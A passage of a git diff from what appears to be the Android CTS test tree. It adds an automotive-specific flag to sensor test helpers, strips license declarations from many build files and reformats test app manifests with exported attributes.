+        listener.clearEvents();
+        mTestSensorManager.unregisterListener();
+        return testSensorEventList;
+    }
+}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/TestSensorEnvironment.java b/tests/sensor/src/android/hardware/cts/helpers/TestSensorEnvironment.java
index 261d327..c20a0d0 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/TestSensorEnvironment.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/TestSensorEnvironment.java
@@ -44,6 +44,7 @@
     private final int mMaxReportLatencyUs;
     private final boolean mIsDeviceSuspendTest;
     private final boolean mIsIntegrationTest;
+    private final boolean mIsAutomotiveSpecificTest;
 
     /**
      * Constructs an environment for sensor testing.
@@ -112,6 +113,34 @@
      * @param sensorType The type of the sensor under test
      * @param sensorMightHaveMoreListeners Whether the sensor under test is acting under load
      * @param samplingPeriodUs The requested collection period for the sensor under test
+     * @param isAutomotiveSpecificTest Whether this is an automotive specific test
+     *
+     * @deprecated Use variants with {@link Sensor} objects.
+     */
+    @Deprecated
+    public TestSensorEnvironment(
+            Context context,
+            int sensorType,
+            boolean sensorMightHaveMoreListeners,
+            int samplingPeriodUs,
+            boolean isAutomotiveSpecificTest) {
+        this(context,
+                getSensor(context, sensorType),
+                sensorMightHaveMoreListeners,
+                samplingPeriodUs,
+                0 /* maxReportLatencyUs */,
+                false,
+                false,
+                isAutomotiveSpecificTest);
+    }
+
+    /**
+     * Constructs an environment for sensor testing.
+     *
+     * @param context The context for the test
+     * @param sensorType The type of the sensor under test
+     * @param sensorMightHaveMoreListeners Whether the sensor under test is acting under load
+     * @param samplingPeriodUs The requested collection period for the sensor under test
      * @param maxReportLatencyUs The requested collection report latency for the sensor under test
      *
      * @deprecated Use variants with {@link Sensor} objects.
@@ -216,7 +245,8 @@
                 samplingPeriodUs,
                 maxReportLatencyUs,
                 false /* isDeviceSuspendTest */,
-                isIntegrationTest);
+                isIntegrationTest,
+                false /* isAutomotiveSpecificTest */);
     }
 
     public TestSensorEnvironment(
@@ -229,7 +259,8 @@
         this(context, sensor, sensorMightHaveMoreListeners,
                 samplingPeriodUs, maxReportLatencyUs,
                 isDeviceSuspendTest,
-                false /* isIntegrationTest */);
+                false /* isIntegrationTest */,
+                false /* isAutomotiveSpecificTest */);
     }
 
     public TestSensorEnvironment(
@@ -239,7 +270,8 @@
             int samplingPeriodUs,
             int maxReportLatencyUs,
             boolean isDeviceSuspendTest,
-            boolean isIntegrationTest) {
+            boolean isIntegrationTest,
+            boolean isAutomotiveSpecificTest) {
         mContext = context;
         mSensor = sensor;
         mSensorMightHaveMoreListeners = sensorMightHaveMoreListeners;
@@ -247,6 +279,7 @@
         mMaxReportLatencyUs = maxReportLatencyUs;
         mIsDeviceSuspendTest = isDeviceSuspendTest;
         mIsIntegrationTest = isIntegrationTest;
+        mIsAutomotiveSpecificTest = isAutomotiveSpecificTest;
     }
 
     /**
@@ -459,5 +492,9 @@
     public boolean isIntegrationTest() {
         return mIsIntegrationTest;
     }
+
+    public boolean isAutomotiveSpecificTest() {
+        return mIsAutomotiveSpecificTest;
+    }
 }
 
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
index 7c9be9f..74f28ba 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
@@ -91,7 +91,7 @@
         long wakeupTimeMs = (System.currentTimeMillis()
                 + TimeUnit.MILLISECONDS.convert(mSleepDuration, mTimeUnit));
         Intent intent = new Intent(ACTION);
-        PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         am.setExact(AlarmManager.RTC_WAKEUP, wakeupTimeMs, pendingIntent);
 
         // Execute operation
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
index 7a48ba8..c66eb30 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
@@ -70,10 +70,16 @@
         Map<Integer, ExpectedValuesAndThresholds> currentDefaults =
                 new HashMap<Integer, ExpectedValuesAndThresholds>(DEFAULTS);
 
-        // For automotive flag, add car default tests.
-        if(environment.getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_AUTOMOTIVE)) {
-            addCarDefaultTests(currentDefaults);
+        // Handle automotive specific tests.
+        if(environment.isAutomotiveSpecificTest()) {
+            // If device is an automotive device, add car defaults.
+            if (environment.getContext().getPackageManager().hasSystemFeature(
+                    PackageManager.FEATURE_AUTOMOTIVE)) {
+                addCarDefaultTests(currentDefaults);
+            } else {
+                // Skip as this is an automotive test and device is non-automotive.
+                return null;
+            }
         }
 
         int sensorType = environment.getSensor().getType();
diff --git a/tests/signature/Android.bp b/tests/signature/Android.bp
index 78ea10e..5cadd88 100644
--- a/tests/signature/Android.bp
+++ b/tests/signature/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 // Compat.
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_host {
     name: "signature-hostside",
     visibility: [
diff --git a/tests/signature/api-check/Android.bp b/tests/signature/api-check/Android.bp
index 3f686c2..d4dfc5f 100644
--- a/tests/signature/api-check/Android.bp
+++ b/tests/signature/api-check/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_library_shared {
     name: "libclassdescriptors",
 
@@ -95,3 +91,4 @@
         "libcts_dexchecker",
     ],
 }
+
diff --git a/tests/signature/api-check/android-test-base-28-api/Android.bp b/tests/signature/api-check/android-test-base-28-api/Android.bp
index b4cd1a2..8717b17 100644
--- a/tests/signature/api-check/android-test-base-28-api/Android.bp
+++ b/tests/signature/api-check/android-test-base-28-api/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAndroidTestBase28ApiSignatureTestCases",
     defaults: [
diff --git a/tests/signature/api-check/android-test-base-current-api/Android.bp b/tests/signature/api-check/android-test-base-current-api/Android.bp
index 8353135..52ed46b 100644
--- a/tests/signature/api-check/android-test-base-current-api/Android.bp
+++ b/tests/signature/api-check/android-test-base-current-api/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAndroidTestBaseCurrentApiSignatureTestCases",
     defaults: [
diff --git a/tests/signature/api-check/android-test-mock-current-api/Android.bp b/tests/signature/api-check/android-test-mock-current-api/Android.bp
index 52fbe50..d017870 100644
--- a/tests/signature/api-check/android-test-mock-current-api/Android.bp
+++ b/tests/signature/api-check/android-test-mock-current-api/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAndroidTestMockCurrentApiSignatureTestCases",
     defaults: [
diff --git a/tests/signature/api-check/android-test-runner-current-api/Android.bp b/tests/signature/api-check/android-test-runner-current-api/Android.bp
index 5a5b258..d8fdad2 100644
--- a/tests/signature/api-check/android-test-runner-current-api/Android.bp
+++ b/tests/signature/api-check/android-test-runner-current-api/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAndroidTestRunnerCurrentApiSignatureTestCases",
     defaults: [
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/Android.bp b/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
index dab62ce..aca1897 100644
--- a/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
+++ b/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsApacheHttpLegacy27ApiSignatureTestCases",
     defaults: [
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/Android.bp b/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
index e47f82c..9ae437a 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
+++ b/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsApacheHttpLegacyCurrentApiSignatureTestCases",
     defaults: [
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp b/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
index c02629f..2b414c3 100644
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsApacheHttpLegacyUsesLibraryApiSignatureTestCases",
     defaults: [
diff --git a/tests/signature/api-check/current-api/Android.bp b/tests/signature/api-check/current-api/Android.bp
index 4114272..04eced6 100644
--- a/tests/signature/api-check/current-api/Android.bp
+++ b/tests/signature/api-check/current-api/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsCurrentApiSignatureTestCases",
     defaults: [
diff --git a/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp
index 86cb1ee..bf603a7 100644
--- a/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsHiddenApiBlocklistApi27TestCases",
     defaults: [
diff --git a/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp
index 7c9f844..8aa4d36 100644
--- a/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-28-api/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsHiddenApiBlocklistApi28TestCases",
     defaults: [
diff --git a/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp
index 67e5742..a0031cb 100644
--- a/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-current-api/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsHiddenApiBlocklistCurrentApiTestCases",
     defaults: [
diff --git a/tests/signature/api-check/hidden-api-blocklist-debug-class/Android.bp b/tests/signature/api-check/hidden-api-blocklist-debug-class/Android.bp
index 38e68c9..c21810a 100644
--- a/tests/signature/api-check/hidden-api-blocklist-debug-class/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-debug-class/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsHiddenApiBlocklistDebugClassTestCases",
     defaults: [
diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp
index 4ee2db5..89621ca 100644
--- a/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-test-api/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsHiddenApiBlocklistTestApiTestCases",
     defaults: [
diff --git a/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp b/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp
index d6a1c14..5e88438 100644
--- a/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp
+++ b/tests/signature/api-check/hidden-api-killswitch-debug-class/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsHiddenApiKillswitchDebugClassTestCases",
     defaults: ["hiddenapi-killswitch-check-defaults"],
diff --git a/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp b/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp
index 5384558..b5c594b 100644
--- a/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp
+++ b/tests/signature/api-check/hidden-api-killswitch-sdklist/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsHiddenApiKillswitchSdkListTestCases",
     defaults: ["hiddenapi-killswitch-check-defaults"],
diff --git a/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp b/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp
index 1be25d4..599a8a1 100644
--- a/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp
+++ b/tests/signature/api-check/hidden-api-killswitch-wildcard/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsHiddenApiKillswitchWildcardTestCases",
     defaults: ["hiddenapi-killswitch-check-defaults"],
diff --git a/tests/signature/api-check/shared-libs-api/Android.mk b/tests/signature/api-check/shared-libs-api/Android.mk
index 3128444..92c66d1 100644
--- a/tests/signature/api-check/shared-libs-api/Android.mk
+++ b/tests/signature/api-check/shared-libs-api/Android.mk
@@ -28,8 +28,6 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := cts-shared-libs-all.api
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_STEM := shared-libs-all.api.zip
 LOCAL_MODULE_CLASS := ETC
 LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
@@ -51,8 +49,6 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_MODULE := cts-api-signature-multilib-test
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/signature/api-check/system-annotation/Android.bp b/tests/signature/api-check/system-annotation/Android.bp
index eb36adc..c0364bf 100644
--- a/tests/signature/api-check/system-annotation/Android.bp
+++ b/tests/signature/api-check/system-annotation/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSystemApiAnnotationTestCases",
     defaults: [
diff --git a/tests/signature/api-check/system-api/Android.mk b/tests/signature/api-check/system-api/Android.mk
index 6649ed8..cd3bc47 100644
--- a/tests/signature/api-check/system-api/Android.mk
+++ b/tests/signature/api-check/system-api/Android.mk
@@ -26,8 +26,6 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := cts-system-all.api
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_STEM := system-all.api.zip
 LOCAL_MODULE_CLASS := ETC
 LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
diff --git a/tests/signature/api/Android.bp b/tests/signature/api/Android.bp
index b8d94c4..b177f21 100644
--- a/tests/signature/api/Android.bp
+++ b/tests/signature/api/Android.bp
@@ -12,16 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
-}
-
 genrule_defaults {
     name: "signature-cts-api-api-gz",
     cmd: "$(location metalava) --no-banner --compatible-output=no -convert2xmlnostrip $(in) $(genDir)/api.xml && gzip -c $(genDir)/api.xml > $(out)",
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index 0184940..d91f511 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -21,8 +21,6 @@
 define build_xml_api_file
 include $(CLEAR_VARS)
 LOCAL_MODULE := cts-$(subst .,-,$(1))
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0 SPDX-license-identifier-NCSA
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_STEM := $(1)
 LOCAL_MODULE_CLASS := ETC
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests sts
diff --git a/tests/signature/dex-checker/Android.bp b/tests/signature/dex-checker/Android.bp
index 3da3119..1e4f649 100644
--- a/tests/signature/dex-checker/Android.bp
+++ b/tests/signature/dex-checker/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_library_shared {
     name: "libcts_dexchecker",
 
diff --git a/tests/signature/intent-check/Android.bp b/tests/signature/intent-check/Android.bp
index b56996a..fc26be9 100644
--- a/tests/signature/intent-check/Android.bp
+++ b/tests/signature/intent-check/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsIntentSignatureTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/signature/intent-check/TEST_MAPPING b/tests/signature/intent-check/TEST_MAPPING
new file mode 100644
index 0000000..e731491
--- /dev/null
+++ b/tests/signature/intent-check/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsIntentSignatureTestCases"
+    }
+  ]
+}
diff --git a/tests/signature/lib/android/Android.bp b/tests/signature/lib/android/Android.bp
index bcad041..546190a 100644
--- a/tests/signature/lib/android/Android.bp
+++ b/tests/signature/lib/android/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "cts-signature-common",
     visibility: [
diff --git a/tests/signature/lib/common/Android.bp b/tests/signature/lib/common/Android.bp
index 05c5f11..81a9f8c 100644
--- a/tests/signature/lib/common/Android.bp
+++ b/tests/signature/lib/common/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_static {
   name: "signature-common-javalib",
   visibility: [
diff --git a/tests/signature/tests/Android.bp b/tests/signature/tests/Android.bp
index 0269746..1077b40 100644
--- a/tests/signature/tests/Android.bp
+++ b/tests/signature/tests/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
   name: "signature-host-tests",
   srcs: ["src/**/*.java"],
diff --git a/tests/simplecpu/jni/Android.bp b/tests/simplecpu/jni/Android.bp
index bd9a640..000173d 100644
--- a/tests/simplecpu/jni/Android.bp
+++ b/tests/simplecpu/jni/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libctscpu_jni",
     srcs: ["CpuNativeJni.cpp"],
diff --git a/tests/suspendapps/Android.bp b/tests/suspendapps/Android.bp
index e593b5b..2dfcb5c 100644
--- a/tests/suspendapps/Android.bp
+++ b/tests/suspendapps/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 filegroup {
     name: "CtsSuspendHelpersConstants",
     srcs: [
diff --git a/tests/suspendapps/permission/Android.bp b/tests/suspendapps/permission/Android.bp
index 071d1bd..70278bc 100644
--- a/tests/suspendapps/permission/Android.bp
+++ b/tests/suspendapps/permission/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSuspendAppsPermissionTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/suspendapps/test-apps/SuspendTestApp/Android.bp b/tests/suspendapps/test-apps/SuspendTestApp/Android.bp
index 376c4c8..cade030 100644
--- a/tests/suspendapps/test-apps/SuspendTestApp/Android.bp
+++ b/tests/suspendapps/test-apps/SuspendTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSuspendTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/suspendapps/test-apps/TestDeviceAdmin/Android.bp b/tests/suspendapps/test-apps/TestDeviceAdmin/Android.bp
index 8af8053..4bd551b 100644
--- a/tests/suspendapps/test-apps/TestDeviceAdmin/Android.bp
+++ b/tests/suspendapps/test-apps/TestDeviceAdmin/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSuspendTestDeviceAdmin",
     defaults: ["cts_support_defaults"],
diff --git a/tests/suspendapps/test-apps/TestDeviceAdmin/AndroidManifest.xml b/tests/suspendapps/test-apps/TestDeviceAdmin/AndroidManifest.xml
index 3368398..b336cfb 100644
--- a/tests/suspendapps/test-apps/TestDeviceAdmin/AndroidManifest.xml
+++ b/tests/suspendapps/test-apps/TestDeviceAdmin/AndroidManifest.xml
@@ -15,21 +15,20 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.suspendapps.testdeviceadmin" >
+     package="com.android.suspendapps.testdeviceadmin">
 
-    <application android:label="CTS Device Admin" android:testOnly="true">
-        <receiver
-            android:name=".TestDeviceAdmin"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
-            <meta-data
-                android:name="android.app.device_admin"
-                android:resource="@xml/device_admin"/>
+    <application android:label="CTS Device Admin"
+         android:testOnly="true">
+        <receiver android:name=".TestDeviceAdmin"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <receiver
-            android:name=".TestCommsReceiver"
-            android:exported="true" />
+        <receiver android:name=".TestCommsReceiver"
+             android:exported="true"/>
     </application>
 </manifest>
diff --git a/tests/suspendapps/tests/Android.bp b/tests/suspendapps/tests/Android.bp
index 5f5475c..5c56724 100644
--- a/tests/suspendapps/tests/Android.bp
+++ b/tests/suspendapps/tests/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSuspendAppsTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/suspendapps/tests/AndroidManifest.xml b/tests/suspendapps/tests/AndroidManifest.xml
index 61dd2f2..2ea98af 100755
--- a/tests/suspendapps/tests/AndroidManifest.xml
+++ b/tests/suspendapps/tests/AndroidManifest.xml
@@ -15,27 +15,29 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.suspendapps.cts">
+     package="android.suspendapps.cts">
 
     <application android:label="CTS Suspend Apps Test">
         <activity android:name=".SuspendedDetailsActivity"
-                  android:permission="android.permission.SEND_SHOW_SUSPENDED_APP_DETAILS">
+             android:permission="android.permission.SEND_SHOW_SUSPENDED_APP_DETAILS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SHOW_SUSPENDED_APP_DETAILS" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.SHOW_SUSPENDED_APP_DETAILS"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <receiver android:name=".UnsuspendReceiver">
+        <receiver android:name=".UnsuspendReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY" />
+                <action android:name="android.intent.action.PACKAGE_UNSUSPENDED_MANUALLY"/>
             </intent-filter>
         </receiver>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:functionalTest="true"
-                     android:targetPackage="android.suspendapps.cts"
-                     android:label="CTS Suspend Apps Test"/>
+         android:functionalTest="true"
+         android:targetPackage="android.suspendapps.cts"
+         android:label="CTS Suspend Apps Test"/>
 </manifest>
diff --git a/tests/tests/accounts/Android.bp b/tests/tests/accounts/Android.bp
index 912c81d..7e60638 100644
--- a/tests/tests/accounts/Android.bp
+++ b/tests/tests/accounts/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAccountManagerTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/accounts/AndroidManifest.xml b/tests/tests/accounts/AndroidManifest.xml
index a31b77a..999a3c6 100644
--- a/tests/tests/accounts/AndroidManifest.xml
+++ b/tests/tests/accounts/AndroidManifest.xml
@@ -16,59 +16,61 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.accounts.cts"
-        android:targetSandboxVersion="2">
+     package="android.accounts.cts"
+     android:targetSandboxVersion="2">
     <uses-sdk android:minSdkVersion="1"
-          android:targetSdkVersion="26"/>
+         android:targetSdkVersion="26"/>
 
     <!-- Don't need GET_ACCOUNTS because share a Uid with the relevant
-         authenticators -->
+                 authenticators -->
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="android.accounts.cts.AccountDummyActivity" >
+        <activity android:name="android.accounts.cts.AccountDummyActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.accounts.cts.AccountRemovalDummyActivity" >
+        <activity android:name="android.accounts.cts.AccountRemovalDummyActivity">
         </activity>
 
-        <activity android:name="android.accounts.cts.AccountAuthenticatorDummyActivity" />
+        <activity android:name="android.accounts.cts.AccountAuthenticatorDummyActivity"/>
 
-        <service android:name="MockAccountService" android:exported="true"
-                 android:process="android.accounts.cts">
+        <service android:name="MockAccountService"
+             android:exported="true"
+             android:process="android.accounts.cts">
             <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator" />
+                <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
             <meta-data android:name="android.accounts.AccountAuthenticator"
-                       android:resource="@xml/authenticator" />
+                 android:resource="@xml/authenticator"/>
         </service>
 
-        <service android:name="MockCustomTokenAccountService" android:exported="true"
-                 android:process="android.accounts.cts">
+        <service android:name="MockCustomTokenAccountService"
+             android:exported="true"
+             android:process="android.accounts.cts">
             <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator" />
+                <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
             <meta-data android:name="android.accounts.AccountAuthenticator"
-                       android:resource="@xml/custom_token_authenticator" />
+                 android:resource="@xml/custom_token_authenticator"/>
             <meta-data android:name="android.accounts.AccountAuthenticator.customTokens"
-                       android:value="1" />
+                 android:value="1"/>
 
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.accounts.cts"
-                     android:label="CTS tests for android.accounts">
